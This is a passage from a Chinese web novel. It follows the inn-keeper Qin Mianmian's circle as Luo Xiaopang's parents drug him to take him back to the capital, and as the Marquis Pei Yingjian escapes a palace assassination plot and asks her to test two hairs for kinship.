他也了解前段时间钱家易主的事情,知道现在钱家就掌握在旁边这个长得漂漂亮亮又痞里痞气的臭小子手里,这小子跟这臭丫头关系可不一般呐,而那个钱老先生也是老古董收藏家了。 还有那个瀚海拍卖行,跟臭丫头也是关系不错,这些人给这丫头搞个古董鉴定书,那就跟玩儿似的。 罗正松气了半天,最终只能咬咬牙: “算了,还是来再看看这个合同吧。” 一句话,搞得众人都乐了。 叶子舟便不厌其烦地又给他讲了半天条款,罗正松似懂非懂地听了半晌,终于意识到一件事——这群臭小孩应该是早就准备好对付他了,所以才能这么有恃无恐。 最后,罗正松终于放弃了以一己之力对抗这些人,转而冷笑道: “行了,我也半懂不懂的,不听了。你们等着,我喊律师来。” 谁知一直未开口的姚祁忽然道: “不知道罗伯父要从哪里找律师,海城么?海城的各大律师行正好都有我的熟人,我帮您找就行了。” 罗正松:“……” “哦,伯父是信不过海城的律师吗,那京城的律师我也能喊来,当然您要是怕麻烦的话,也不用把人叫过来,直接线上就行。罗伯父您准备准备,五分钟之后就可以开始。” 罗正松:“……” 姚家在京城的实力,他还是有所耳闻的,罗家虽然是警察世家,可跟这些经商的人比起来,那可是差太远了。 他丝毫不怀疑,京城的各大律师团队里也都有姚家的人脉,他罗正松找来找去,也只能自找苦吃。 最后,罗厅气得老脸通红,一甩手,干脆撂下一句话: “别以为你们人多就赢了,我也有后援!在我的后援到达之前,我不会再跟你们说一句话!” 说罢,直接甩手就往二楼走。 罗小胖惊讶:“爸,你上二楼干啥?” 罗正松恼怒: “住店不行吗——给你老子我开个房间!” 众人都是笑。 罗小胖的脸色却有点犹疑,没多说什么,径直去开房间去了。 这边,姜芙和朱七妹等人都在兴高采烈地讨论着今天这一仗赢得漂亮,无外乎是都夸秦绵绵准备充分,早料到罗正松有此一招。 姜芙激动笑道: “在警界叱咤风云的罗厅,却在咱们这个小小客栈里吃瘪,说出去也没人信!” 秦绵绵只淡淡道: “那也只是因为他爱子心切而已,要不是他儿子在我们手上,你看看他会不会对我们手下留情。” 姜芙吐吐舌头。 姚祁却往二楼望了一眼,皱眉道: “看起来,似乎罗厅要找的这个后援好像很厉害。” 叶子舟也点头:“罗小胖都有点怵头的样子。” 秦绵绵跟着望上去,片刻后道:“我好像能猜得出来,这个厉害的后援是谁。” …… 叱咤风云的罗厅,为人很是傲娇,说不跟他们说话,就彻底不跟他们说话。 连中午罗小胖叫他下来吃饭,他都没理,而是自己叫的外卖。 当然了,这里地处偏僻,也没什么好吃的外卖,尽管罗厅作风朴素,但吃了一点,又还是因为难吃放下了。 但浪费粮食是不对的,据罗小胖线报,这份外卖罗厅吃了一个多小时才终于吃完,个中滋味,只有他自己了解。 但据说很快他又跑了五趟厕所,后来又恶狠狠地给海城工商管理打了个电话才作罢。 而当天傍晚时候,罗厅找的这个后援,就上了门。 没什么客人,秦绵绵指挥大家早点打烊,晚上吃火锅。 就在姚祁准备关门的时候,一辆出租车突然停在了客栈门口。 一个美丽窈窕的身影从车上走了下来。 来人一袭裁剪合身的小香风套装,身材完美,头戴宽檐帽,还戴着墨镜,并看不到具体样貌。 可单单只是瞥一眼身材气度,就知道是个大美女。 而且还是个稍微上了年纪的知性成熟美人。 美人下了车,观察了一下客栈门头,这才施施然走到门口,摘下墨镜,向着姚祁一笑: “年轻人,你好,我想找一下罗吉。” 她说着,笑意更甚:“麻烦你告诉他,他妈妈来找他了。” 第179章 风华绝代美妇人 饶是姚祁见多识广,也曾经万花丛中过,但这样的上了年纪的成熟女性,他还真没打过交道。 何况是这种万中无一的美人。 更何况,这竟然还是罗小胖的母亲。 姚祁望了一眼眼前人,再和罗小胖的样貌在心中做个比对,立刻得出结论——罗小胖是真随他爹啊。 美人即便上了年纪也还是美人,面对这种美人,痞里痞气的姚祁也收敛了很多,立刻成了一个乖宝宝。 “啊好的,阿姨您先进来坐,我马上去找他!” 美人便施施然走进了客栈大堂,随意地坐在了当中的长桌边, 然而虽然看似随意,但却仪态万方,把算账的叶子舟,干活的朱七妹和来串门的姜芙都给看的一愣一愣的。 任谁也没有想到,平常嘻嘻哈哈的罗小胖的母亲,不苟言笑的罗厅的前妻,竟然会是这么一个大美人。 姜芙吐槽:“我去,这么个大美女竟然还离婚,罗厅多少有点不知好歹了哈。” 朱七妹打手势:“你怎么知道不是罗妈甩的罗爸呢?” 也是哦,我是这样的美人我也看不上那个老古董。 众人议论着,秦绵绵从二楼下来了,美妇人抬头,和她打了个照面。 秦绵绵心中也顿觉惊艳。 但不知道为什么,她还觉得对方看似友善的笑容之中,似乎还藏着很多深意,让秦绵绵猜不透。 接着,尴尬的事情来了,姚祁上去通知罗小胖,罗小胖竟然半天都没下来。 罗正松也没下来。 众人左等右等,这父子俩却不知道到底出了什么问题,竟然没有一个人下来见罗母的。 气氛渐渐尴尬了。 众人虽然都知道罗父罗母离婚多年,但好歹孩子也这么大了,这么尴尬的场景,他们也着实没想到。 而且有一个疑问,罗厅不愿意来见也就算了,罗小胖为什么也不肯下来呢。 叶子舟见状不好,忙又悄悄到后院宿舍去催,罗母却缓缓捋了捋头发: “不用着急,他们不肯见我,也是我预料之内的。麻烦秦小姐帮我开一个房间吧。” 秦绵绵想了想,最终让姜芙替罗母开了一间对面吉祥客栈的 房间。 而去找人的叶子舟,也半天没从罗小胖那出来,安顿好罗母之后,秦绵绵也径直杀了过去,进去就瞧见了一幅奇怪场景。 姚祁如梦大赦:“掌柜的你可来了,快看看这家伙吧!也不知道哪根筋抽着了,还硬拉着不让我们出去叫人。” 秦绵绵赶上前去,却见罗小胖歪坐在椅子上,脸色惨白,身体僵直,双手甚至还在微微发着抖。 一旁的姚祁和叶子舟都着急的跟什么似的,他用发抖的双手紧紧拉住他们,不肯让他们走。 而他自己却好像完全控制不了自己一样,越抖越是厉害。 秦绵绵二话不说,上手就是一顿啪啪啪的推拿,罗小胖吃痛之下,终于松开了手。 秦绵绵又是一阵敲打,不知道过了多久,罗小胖突然猛地吐出一口气,再看时,那苍白的脸色终于有所缓和,接着眼角竟然不受控制地滴下一滴泪来。 众人都看呆了。 秦绵绵摆摆手让叶子舟俩人出去,拉了椅子在罗小胖身边坐下,随手拽了张纸巾给他。 罗小胖擦了眼泪,终于露出一个苦笑,不好意思道: “让你看笑话了。” 秦绵绵看了他半晌,叹口气:“我理解,你是应激了。” 罗小胖呆呆半晌,才也叹口气:“我也没想到她会来……我已经……十七八年没见过她了。” 罗小胖慢慢讲了一些事。 自从父母离婚后,罗小胖就再也没有见过自己的母亲,甚至连她的一个电话都没接到过。 可偏偏他又会常常收到关于她的消息,这种反差,让幼小的他一度十分痛苦。 “你知道她是做什么的吗?” 秦绵绵摇摇头。 她只感觉到罗母是个风华绝代的大美人了,还真看不出她是做什么工作的。 罗小胖苦笑: “你也看不出来吧,其实她是做科研的,而且还是那种最前端的高精尖科研……她在国际上都享有盛誉……我爸当年也是被她这样迷的不要不要的……” 秦绵绵自是很惊讶,罗母的这个气质,说是电影明星都有人信,这么美丽又这么超强大脑,那确实更迷人了。 “我爸也没出去见她对吧,其实是因为,他如果看见她,会激动破防……因为离婚这么多年,他还深爱她……” 秦绵绵咂咂嘴,虽然感觉有点接受不了,但她相信罗小胖说的是事实。 而罗小胖其实也是一样,虽然多年没见自己的母亲,心中有怨恨,但是突然听到她到来,也激动的手控制不住的发抖。 虽然他没明说,但是她能看得出来,他内心里,对自己的母亲,其实是打心底里崇拜和恋慕的。 秦绵绵在心里叹了口气。 这样的话,这父子俩,可有的苦头吃了。 “那,多年没见的亲生母亲都出动了,你考虑回京城吗?” 罗小胖径直摇头:“我不是签了天价合同了?客栈就是我的家,谁来也不行,就算是她……” 然而,话说到一半他却忽然顿住了。 他的目光突然紧紧盯住秦绵绵,仿佛想把她戳一个洞一般。 一瞬间,他脸上的表情换了好多。 下一秒,他突然就窜了出去,只留下两句话: “掌柜的,你有事瞒我,其实我都知道了!” “我做事你别问,相信我就对了!” 秦绵绵还没反应过来,他人就已经冲到了大堂,和罗母四目相对片刻,他猛地大声道: “我跟你走!现在就走!” 说完,竟然连行李都不收拾,拉着罗母就朝客栈外冲了出去。 客栈众人都是蒙的,等他们反应过来的时候,罗小胖已经拉着罗母上了他那辆小破车,开出景区大门了。 “这,这到底什么情况……” 秦绵绵站在门口,望着沉沉夜色,沉默不语。 另一边,罗小胖开车载着罗母,一路狂奔,很快就到了高速路口。 罗母终于开口说了第一句话。 第180章 煞费苦心 “要开好几个小时夜车呢,休息一会儿吧。”罗母忽然道。 罗小胖把车停到路边。 夜色黑沉沉的,车里也没开灯,只有外面的点点昏暗灯光,略微能照点亮。 罗小胖坐在驾驶座,低着头,看不清什么表情。 车厢里弥漫着罗母身上陌生的香水味,混杂着小破车固有的尘土气。 罗小胖双手紧握方向盘,指节因为用力有些发白。 不断有车从他们旁边掠过,车里暗了又亮,亮了又暗。 罗小胖没有看旁边座位上的女人,那个十七八年未曾谋面的母亲。 罗母却侧过脸,打量着儿子紧绷的侧脸轮廓。 两个人都沉默了很久,没说话。 不知道过了多久,罗母又慢慢开口。 她的声音很轻柔,带着一种刻意放低的姿态。 “阿吉,这么多年……” 谁想罗小胖突然打断了她:“你来这里,到底想干什么?真的只是帮我爸带我回京城?” 他依然没有转头看她。 罗母似乎噎了一下。 片刻后,她从随身的包里拿出一瓶矿泉水,拧开瓶盖,递到他手边。 “先喝口水,我们慢慢说,好吗?” 她的声音越发温柔。 和他记忆里模糊的片段重叠,又显得格外陌生。 罗小胖的手僵在方向盘上。 他口干舌燥,不仅仅是生理上的。 多年未曾感受过的温情,哪怕虚假,也像羽毛搔刮着心底最隐秘的角落。 他犹豫了几秒,还是接过了水瓶。 冰凉的液体滑过喉咙,带来一丝短暂的镇定。 就在这时,前方路边阴影里,一道身影忽然出现。 竟然是罗正松。 他本不是该在客栈里吗? 罗正松在车门外对罗小胖招手,罗小胖摇下车窗。 “我来开吧,你先休息,后半夜你开。” 罗小胖没想太多,便下了车。 罗正松坐上了驾驶座,关好车门,罗母突然开口: “来的挺快啊。” 罗正松便回答: “你们一出门我就跟着出来了,出租车就跟在你们后面。” “那你不给我打电话,停下来等你,还省点车钱。” “我也没有你电话啊。” 罗小胖坐在后座,沉默地听着他们像寻常夫妻一样聊天,越听越是心惊。 要知道,他父母两个人已经离婚十七八年了,这十七八年来,他是他父亲罗正松一个人拉扯大的,他的风华绝代又智商高超的母亲,除了在事业上努力奋斗以外,家庭和孩子是一丁点都没管过。 十七八年来,她一次也没有出现过,甚至都没有打过哪怕一个电话,写过一封信。 而年幼的罗小胖每每提起妈妈,换来的都是罗正松的一顿训斥。 这么多年,他念着她,也恨着她,哪怕是只听到她的名字,也要情绪崩溃。 可此时此刻,人在眼前,他竟然能面不改色地好好地跟她聊天? 而他母亲,当年其实也是十分瞧不上罗正松的警察事业的,她讨厌他把警局当家,讨厌他古板刚正。 但这么多年后,她竟然能像寻常妻子一样坐着跟他说话。 这不对劲,很不对劲! “够了!”罗小胖猛然出声,打断两个人的聊天,“别演了!老实说吧,你们到底有什么事瞒着我!到底想把我带到什么地方去!” 两个人愣了一下,顿了顿,才一左一右转头过来看他。 罗母沉默不语,罗正松却笑了笑: “还能有什么事,抓你回去好好上班,再相亲个好姑娘,结婚生子,给我和你妈抱大孙子啊!” 罗小胖一百个不信! 他俩现在这副模样,让他过去那些残缺不全的童年看起来好像就是个笑话一样。 “不说,行。不说就别说了!”罗小胖咬牙怒了一句,抬手就开门下车。 谁知突然啪嗒一声,罗正松眼疾手快,一下子就把四个车门都锁死了。 罗小胖拽了两下没拽开,下一秒,罗正松竟然突然启动车子,朝着不远处的收费站驶去。 他竟然什么都不说,竟就准备直接这么开车走! “停车!”罗小胖吼起来,“我叫你停车!” “不停是吧,我可跳了!” 说着,他摇下车窗,作势就要往外跳。 罗正松顿时吓了一跳,吱呀一声把车刹住了。 “你疯了吗臭小子!” 罗母也微微皱起眉头,虽然什么都没有说,但似乎也很不赞同他这么冲动鲁莽。 但罗小胖却不管这个。 他已经不是当初那个实在渴望父爱母爱的孩子了,他已经有了自己的生活。 “到底说不说!” 罗正松仿佛彻底没了办法,只见他叹了口气,似乎想了一下措辞,才幽幽道: “你的那个秦掌柜,要摊上大事了。京城有人要报复她……是很严重的报复,这人比贾家还要厉害不知多少倍。” “咱们家保不住她,就连姚祁家也不够看。” 罗母接过话头:“你爸爸知道直接找你你不会走,所以叫了我来,把你带回京城,提前避祸而已。” 车窗外来往的车子灯光明明灭灭,罗父罗母两人脸上的神情都很凝重。 罗小胖终于意识到事情是真的,而且很严重。 他暗骂了一句:。 “你们怎么不早说!” “我不会跟你们回去,我绝对不可能抛下掌柜的不管!” 说着,掏出手机来就要跟秦绵绵打电话。 但奇怪的是,罗正松和罗母竟然都没伸手阻止,反而就这么静静看着他。 罗小胖按了号码,电话却传来忙音,他检查一番才发现,自己手机里的电话卡不知道什么时候不见了。 罗小胖震惊地看着罗母。 罗母微微叹气。 “你们真是够了!” 罗小胖再也不想跟他们废话,抬手就要开车门下车,可手刚碰到车门,却猛然感觉一阵晕眩。 再一秒,他就直接躺在后座上,再也撑不起身子。 意识在急速消散,罗小胖又是咒骂又是懊悔。 原来罗母突然的温情也是有代价的,她在那瓶水里下了药。 为了带他离开秦绵绵的身边,这两个人可以说是煞费苦心! 罗小胖十分不情愿,但最后还是控制不住地闭上了眼睛。 罗正松看了他一眼,叹口气,系上安全带。 车子在夜色中,向着京城的方向急速驶去。 第181章 旧物 爆炸的火光舔舐着夜空,将那片偏僻的民宅彻底吞噬。 一道狼狈的身影在烈焰和浓烟中穿过,速度快得只留下一道残影。 女子捂着肩头,那里血肉模糊,剧痛钻心。 那黑黢黢的暗器威力惊人,远超她认知中的任何武器,若非她反应够快,此刻只怕已是一具尸体。 肩头的伤口传来阵阵麻痹感,她不能停,必须尽快回到那个地方。 夜色是她最好的掩护,身形几个起落,便彻底甩脱了可能存在的追踪,融入了京郊荒野的黑暗之中。 不知奔行了多久,前方出现了一座庞大而阴森的宅院轮廓。 高墙耸立,比寻常宅院高出数倍,墙体斑驳,四下没有门窗,只在正中有一个紧闭的巨大黑漆木门。 女子走到门前,并未敲门,那厚重的木门竟无声无息地自行打开了一条缝隙。她毫不犹豫地闪身而入。 门在她身后缓缓合拢,隔绝了外界的一切。 院内并非想象中的空旷,而是杂草丛生,怪石嶙峋,空气中弥漫着一股若有若无的血腥与腐臭混合的气味。 高墙遮蔽了月光,只有几处角落燃着幽幽的磷火,勉强视物。 随着她的进入,黑暗中响起一阵低低的、压抑的嘶吼和窸窣声。 几双泛着绿光的眼睛在暗处亮起,那是潜伏在阴影里的猛兽。 有体型庞大的恶狼,有獠牙外露的野猪,甚至还有几只吊睛白额的猛虎。 这些足以让寻常人吓破胆的凶兽,在看到女子时,却纷纷匍匐在地,喉咙里发出呜咽的声音,非但没有攻击,反而透着一股……臣服? 女子对这一切视若无睹,径直穿过前院,走向内里一座更为破败的主屋。 她推开吱呀作响的房门。 屋内陈设简陋,只有一张硬板床,一张桌子,一把椅子。 角落里,一个身影背对着她坐在轮椅上,身形佝偻,看不清样貌,似乎是个残疾之人。 女子走到桌前,拿起桌上的伤药和布条,熟练地处理着自己肩头的伤口。 她咬着牙,将嵌入皮肉的一枚锥形暗器剜了出来,碎肉和污血清理干净,撒上药粉,再用布条紧紧缠绕。 整个过程,她眉头都未皱一下。 做完这些,她拿起那枚暗器仔细看了片刻。 轮椅上的人始终没有回头。 女子处理好伤口,走到那人身后,声音沙哑地开口,带着一丝不易察觉的恭敬:“我失手了,对方的武器……很古怪。” 轮椅上的人依旧沉默。 女子闭了闭眼,再次睁开时,眼底只剩下冰寒的杀意: “下次,我不会再失手。” 说完,她不再停留,转身离开了主屋,消失在沉沉的黑暗之中。 那些匍匐在院中的猛兽,在她离开后才缓缓起身,重新隐匿于阴影,仿佛从未出现过。 …… 镇国侯府,书房密室。 裴应见独自一人坐着。 烛火摇曳,映照着他俊逸冷肃的脸庞。腹部的伤口还在隐隐作痛,但他更在意的,是心头那挥之不去的疑云。 秦绵绵病房里的那本《宸闻录》,虽然她说是胡诌的野史,但上面的记载,却与他多年来的某些猜测隐隐吻合。 这些年来,皇帝对他异乎寻常的“关照”,混杂着忌惮、猜疑甚至厌恶的态度,他其实早已知道为什么。 皇帝跟自己的母亲,当年曾有过一段情。 但那本野史里却说……他的身世也有疑问? 裴应见打开了密室角落里一个尘封已久的紫檀木箱。 这是母亲贺晴柔过世后,他悄悄收起来的遗物,一直未曾细看。 箱子里整齐地叠放着一些衣物,大多是素雅的颜色,料子是极好的,却不张扬。衣物底下,是一些信件、画卷,还有几本看了一半的诗集。 裴应见拿起一叠用杏黄色丝带系着的信件。 信封已经泛黄,上面的字迹娟秀,透着一股温婉。 他解开丝带,抽出其中一封。 信是写给闺中密友的,絮絮叨叨地说着京城女儿家的心事,提到了赏花,提到了诗会,也提到了宫中偶遇。 字里行间,能感受到少女怀春的羞涩与隐秘的欢喜,而那个让她心动的人,信中虽未明言,但字里行间的描述,却隐隐指向了当年还是皇子的当今圣上。 裴应见的手指微微收紧,纸张发出轻微的褶皱声。 他继续往下翻看,时间稍晚一些的信件里,那种雀跃的情绪渐渐淡去,多了几分无奈和愁绪。 直到一封信里写道:“……婚事已定,非我所愿,然家族荣辱,母命难违……” 再往后,便是她嫁入镇国侯府之后写的信了,数量骤减,内容也多是些府中日常,字迹依旧娟秀,却少了灵动,多了端庄,也多了几分不易察觉的疏离。 箱底还有一个小巧的木盒子。 却是有机关的。 裴应见试了几次密码,最终以自己的名字拆开再拼起作为密码,打开了箱子。 他意识到了这个箱子的不同寻常,更觉得里面的东西一定很重要。 然而打开来,里面却只有一枚小巧玲珑的玉佩。 裴应见愣了愣,将玉佩拿在手里。 这玉佩质地温润上乘,绝非凡物,前面雕刻着花样,反面则刻着一个“安”字。 他一眼认出这并非侯府之物,倒像是宫中御赐。 这玉佩形状更是特别,他隐约觉得似乎有点眼熟,不知道曾在哪里见过。 潜意识告诉他,这一定不是一枚普通的玉佩,否则母亲不会藏的这样仔细。 而“安”字,正是当今圣上的名讳。 他的玉佩,母亲为什么藏的这么深,还用他的名字作为密码? 箱子的最底部,还有一幅未完成的画卷。 画的是一片桃花林,林边一角,有一个男子的背影,只寥寥几笔,却能看出几分熟悉的挺拔与尊贵,那身形轮廓,像极了年轻时的……皇帝。 裴应见缓缓合上画卷,将所有东西小心翼翼地放回箱中,盖上盖子。 母亲当真是心属皇帝,被迫嫁入侯府? 而他自己…… 这个念头像毒蛇一样缠绕上来,让他呼吸一滞。 密室里只剩下烛火跳动的噼啪声,和他沉重的心跳。 第182章 裴应见不见了 皇宫,养心殿。 皇帝烦躁地将手中的琉璃盏掷在地上,碎片四溅。 心腹太监李顺连大气都不敢喘,躬着身子收拾地上的狼藉。 平日皇帝待下人也算宽厚,但是这几日却对待宫人十分挑剔,今日仅仅是因为宫女沏的茶稍微有些烫了,他就这样大发脾气。 李顺知道,其实皇帝这是在因为别的事情生气呢。 皇帝在殿内来回踱步,脸色阴沉得能滴出水来。 他派月娘去燕城,本以为能砍掉裴应见的左膀右臂,杀杀他的锐气,谁知月娘一去就杳无音信。 她从来是说到做到的,突然没有了讯息,一定是出事了。 可恶!裴应见竟然有这么大的本事么? 月娘可是这天下一等一的杀手啊。 更可气的是甘彦那个蠢货! 精心策划的一场戏,本想借刀杀人,将裴应见彻底钉死,结果反被裴应见将了一军。 不仅没扳倒对方,反而折了自己! 害他不得不被迫将他贬去岭南那鸟不拉屎的地方! 偷鸡不成蚀把米! 皇帝越想越气,一脚踹翻了旁边的香炉,滚烫的香灰撒了一地。 李顺小心翼翼地收拾着地上的狼藉,眼珠子却悄悄转着,观察着皇帝的神色。 见皇帝停下脚步,一脸阴鸷地盯着殿外的天空,李顺凑了过去,压低了声音: “陛下息怒,为这点小事气坏了龙体,可不值当。” 皇帝冷哼一声,并不言语。 “奴才倒是有个不成熟的想头,不知当讲不当讲……” “讲!”皇帝不耐烦地挥挥手。 “眼瞅着就是万寿节了,普天同庆的大日子,那裴应见身为镇国侯,总不能不来贺寿吧?到时候,在宫里头,天罗地网,还不是由着陛下的心意来……” 皇帝眼睛微微一亮,随即又皱起眉:“宫中动手?愚蠢的主意!” “陛下圣明,”李顺连忙躬身,“奴才的意思是,不必咱们亲自动手。万寿宴上,人多眼杂,若是突然冲出几个亡命之徒,目标直指陛下……到时候会不会有人护驾心切,冲在头里,刀剑无眼,万一那护驾的人,不小心误伤了呢?” 皇帝脚步一顿。 “到时候,是那刺客胆大包天,行刺陛下,镇国侯忠勇护驾,不幸……殉国。陛下您悲痛之余,再好好抚恤侯府,这岂不是全了君臣情谊,也除了心头大患?” 皇帝盯着李顺看了半晌,紧锁的眉头慢慢舒展开来。 “好,好一个‘忠勇殉国’!”他拍了拍李顺的肩膀,“就按你说的办!此事,定要办得天衣无缝!” “奴才遵旨!” …… 万寿节至,皇宫内外张灯结彩,一派喜庆祥和。 御花园内,琼林玉树,水榭楼台,早已摆开了盛大的筵席。 文武百官,皇亲国戚,齐聚一堂,觥筹交错,歌舞升平。 裴应见坐在靠前的位置,面色平静地应酬着,心里却始终绷着一根弦。 按照皇帝的脾性,今日这万寿宴,只怕不会太平。 于是酒过三巡,裴应见便起身,想寻个由头先行告退。 “望之这是要去哪儿啊?”皇帝带着几分醉意,笑呵呵地问。 裴应见躬身:“微臣略感不适,想先行告退,望陛下恕罪。” “哎,身子不适?”皇帝立刻露出关切的神色,“那朕送送你,来人,摆驾,朕亲自送镇国侯出宫。” 这话一出,周围的官员都有些诧异,但无人敢多言。 裴应见心中冷笑,面上却不动声色:“微臣惶恐,不敢劳烦陛下。” “无妨,君臣之间,不必如此客气。”皇帝不由分说,起身便走在了前面。 裴应见无法,只得跟上。 两人一前一后,带着几个随侍的太监宫女,沿着宫中甬道往宫门方向走去。 夜色已深,宫灯摇曳,四周显得格外寂静。 就在走到一处略显偏僻的拐角时,暗影里突然窜出数条黑影,手中寒光闪烁,直扑皇帝而来! “有刺客!护驾!”随行的太监尖声叫了起来。 那几个刺客身手矫健,招式狠辣,目标明确,显然是冲着皇帝来的。 裴应见眼神一凛,几乎是本能地挡在了皇帝身前,同时扬声道:“陛下速走!这里有微臣!” 混乱之中,他看似搀扶了踉跄的皇帝一把,手指却极快地在皇帝的发髻上一掠,几不可查地捻下了一根头发,迅速藏入袖中。 皇帝被他推得往后退了几步,脸上是恰到好处的惊慌,眼底深处却划过一丝得逞的快意。 “快,护送陛下回宫!”李顺尖着嗓子喊道,几个太监宫女立刻簇拥着“惊魂未定”的皇帝,慌不择路地往回跑。 那几个黑衣刺客见状,竟也不追赶皇帝,反而像是得了命令一般,与裴应见缠斗起来,招式虽狠,却更像是在拖延时间。 裴应见心中雪亮,这哪里是什么刺客,分明就是死士,是皇帝抛出来的诱饵! 果不其然,未过多时,四面八方突然涌出大批手持火把、身披甲胄的大内侍卫,明晃晃的刀枪瞬间将这片区域围得水泄不通。 “拿下刺客!”带头的侍卫统领厉声喝道,目标却直指被刺客围攻的裴应见。 那些刺客此刻出手更是狠辣,竟和大内侍卫们配合的天衣无缝,一起将裴应见围在了包围圈中。 侍卫统领眼中闪过一丝狞笑:“大胆狂徒,竟敢行刺陛下!束手就擒!” 根本不容裴应见辩解,数十名大内侍卫便如潮水般涌了上来。 刀光剑影,杀气凛然。 裴应见挥刀格挡,身形在包围圈中辗转腾挪。 他知道这肯定又是皇帝的好戏。 皇帝是铁了心要在此地将他格杀。 这些人,根本不是来抓刺客的,就是来杀他的! 对方人多势众,配合默契,显然是早有预谋,专门针对他的杀阵。 不过,他们倒是有点太小瞧他了。 裴应见噙着冷笑,瞅准一个空当,猛地向后急退,撞入一丛茂密的灌木之中。 杀手和侍卫们忙紧随其后。 就在侍卫们以为他要负隅顽抗,准备合围上前之时,灌木丛后却突然没了动静。 侍卫统领心头一跳,挥手示意:“搜!” 侍卫们小心翼翼地上前,拨开灌木,却见里面空无一人。 偌大一片地方,没有一丝人影,只有角落里地上,留下了一滩殷红,极其刺目的血迹。 裴应见,不见了。 第183章 他好像更放肆了 夜深人静,客栈的大堂只留着一盏昏黄的壁灯。 这晚是秦绵绵值夜。 秦绵绵刚洗了澡下来,跟姚祁换过班,头发还带着湿气。 大堂中央凭空荡漾开一层薄薄的雾气。 雾气散去,一道颀长的身影踉跄着走了出来。 秦绵绵眉头一皱。 这不是别人,正是她家大侯爷。 却见裴应见月白色的长衫凌乱不堪,下摆处撕裂了好大一个口子,更触目惊心的是,他胸前晕开了一大片深色的痕迹,在昏暗的灯光下,像是泼洒上去的墨,又像是血。 他一手捂着小腹,另一只手就去扶旁边的桌角。 仔细看去,他额头上满是细密的汗珠,脸色也很苍白。 秦绵绵心头一跳,一步冲过去:“伤在哪了?” 眼前这人却不回答,只是微微摇了摇头。 却在秦绵绵看不见的地方,微微转头,瞥向她扶着自己胳膊的手。 下一秒,男人忽然整个人便顺势将大半的重量都压在了她身上,声音虚弱,带着喘息: “……遇到点麻烦……还好,回来了……” 他靠得极近,温热的呼吸拂过她的耳畔,带着他身上独有的清冽气息,混杂着血腥味。 秦绵绵被他压得一个趔趄,好不容易才稳住身形,只觉得这家伙重得要命。 “先上楼。”她不再多问,半扶半拖地将他弄上二楼自己的房间。 把他安置在沙发上,秦绵绵转身去拿医药箱。 再回来时,裴应见已经歪靠在沙发上,闭着眼睛,眉头紧锁,似乎痛苦难耐。 秦绵绵蹲下身,想先看看他腹部的伤口,那里正是血迹最浓重的地方。 “我看看伤口。” 裴应见低低“嗯”了一声,一只手无力地垂落下来,正好搭在了秦绵绵的手背上。 秦绵绵小心翼翼地想解开他腰间的系带,查看情况,手指刚碰到衣料,裴应见却忽然低哼了一声,搭在她手背上的手也下意识地收紧。 这人,看来今天确实伤的很重,以往给他治伤他都没吭过呢。 今天这家伙似乎格外脆弱。 因为怕弄疼他,秦绵绵只好停下动作。 可就是这么一停顿,她却敏锐地捕捉到了一丝不对劲。 空气里的血腥味似乎并不像真正伤口散发出的那么浓烈,而且,他虽然脸色苍白,呼吸却还算平稳,刚才那声痛哼,也似乎有点刻意。 这家伙,不会是装的吧? 几乎是同时,原本闭着眼睛的裴应见,眼皮几不可查地动了一下,搭在她手背上的那只手,也无意识地摩挲了一下。 秦绵绵抬起头,正好对上他不知何时睁开的眼睛。 “发现了?” 他声音低沉,带着一丝不易察觉的笑意,温热的气息再次拂过她的脸颊。 秦绵绵沉下脸:“这血,不是你自己的吧?” 男人不回答,只是笑声慢慢漾开来。 他伸出手,在她还有点湿的发梢拂了拂。 “皇帝生辰,在宫里发难。情形虽凶险,但我没受伤。” 秦绵绵心头一跳,没想到皇帝现在连演都不演了,竟然在皇宫里就直接动手。 这家伙如若不是有能随时来到客栈的能力,今日只怕就没有这么轻松了。 见她不说话,男人似乎有点急。 忽而伸出手来,搭在了她的手上。 “怎么,替我担心了?” 秦绵绵一愣,下意识想抽回手,却被他反手握住。 他的力道并不大,却带着一种不容拒绝的意味。 她抬头,却正撞上他深邃的双眼。 秦绵绵看的心头更是一跳。 谁料下一秒,突然天旋地转,男人竟然得寸进尺,径直拉起她,把她整个人抱紧了怀里。 秦绵绵美目微嗔,暗暗咬牙。 这家伙…… 明明上次被她隐晦地拒绝了,怎么这次回来,反而好像更放肆了? 但是这种感觉……好像还挺好的。 一股莫名的燥热贴着他胸膛的地方蔓延开来,秦绵绵只觉得自己的心跳有点不受控制地加快。 她面上依旧维持着冷淡,甚至微微蹙起了眉,但心底深处,却有一丝连她自己都未曾察觉的纵容和隐秘的悸动。 她的耳根悄无声息红了。 男人却并没有看见。 只有秦绵绵自己,在意识到这件事的时候,终于回过神来,下意识地就开始挣扎。 但男人揽着她手却跟着紧了紧,非但没松开,反而顺势将她往自己怀里又带近了几分,下巴几乎要搁在她的发顶。 他低声在她耳边呢喃: “不许你走。” 秦绵绵咬咬牙:“再不放手……我报警了啊。” 男人又低低笑起来。 笑了一会儿,才伸出手来: “你帮我个忙,我就放过你。” 秦绵绵垂眸看去,只见他指间捏着两根极细的毛发,一根色泽乌黑,另一根则略显灰白。 他将那两根头发并排放在自己掌心,递到她面前。 他看着她的眼睛,神色难得地郑重起来,“我想知道,这两样东西的所有人,是否有血脉关联。” 秦绵绵看着那两根头发,又抬眼看了看裴应见。 他眼底深处藏着一丝她从未见过的复杂情绪。 她没有追问这头发的主人是谁,只是伸出手,小心地将那两根头发接了过来。 “好。” 得到她的应允,裴应见紧绷的神情似乎松缓了些许,眼底那抹戏谑又浮了上来。 他向前倾了倾身,几乎贴到她耳边,声音压得更低,带着温热的气息: “那……有劳了。” 他的手指若有似无地擦过她的耳廓,意图似乎不仅仅是说话。 秦绵绵猛地从他怀里跳下来,和他拉开了距离。 “这么重要的东西,我去放起来!” 说完,不等他反应,直接拉开门冲了出去。 男人望着她仓皇逃跑的背影,又忍不住勾起了嘴角。 但很快,他又屏息凝神起来,只因他还要回去,善善后。 下一秒,男人的身影也倏忽消失在房间里。 这边,秦绵绵冲出房间,却正撞上在上楼的朱七妹。 朱七妹见到她,立刻快速打起了手语,询问她去哪了,原来她出来倒水喝,发现秦绵绵没在大堂,所以上来看看。 秦绵绵还没有回答,朱七妹却忽然超四周嗅了嗅,更加急切地比划了起来: “有人受伤了?怎么有血腥味?” 第184章 有话想跟你说 朱七妹五感异于常人,秦绵绵早就知晓。 知道这事瞒不过她,于是她便点了点头。 朱七妹立刻了然,问是不是裴先生受伤了。 毕竟能让秦绵绵瞧瞧弄到二楼去治伤的人,除了那位裴先生,也没有别人了。 秦绵绵也就顺势承认了。 谁想到朱七妹却立刻皱起眉头,啧啧嘴: “那你怎么出来了?他不舒服,你在里面照看着吗?裴先生伤的严重吗,需要什么药,我去帮你找,你快回去照顾他!” 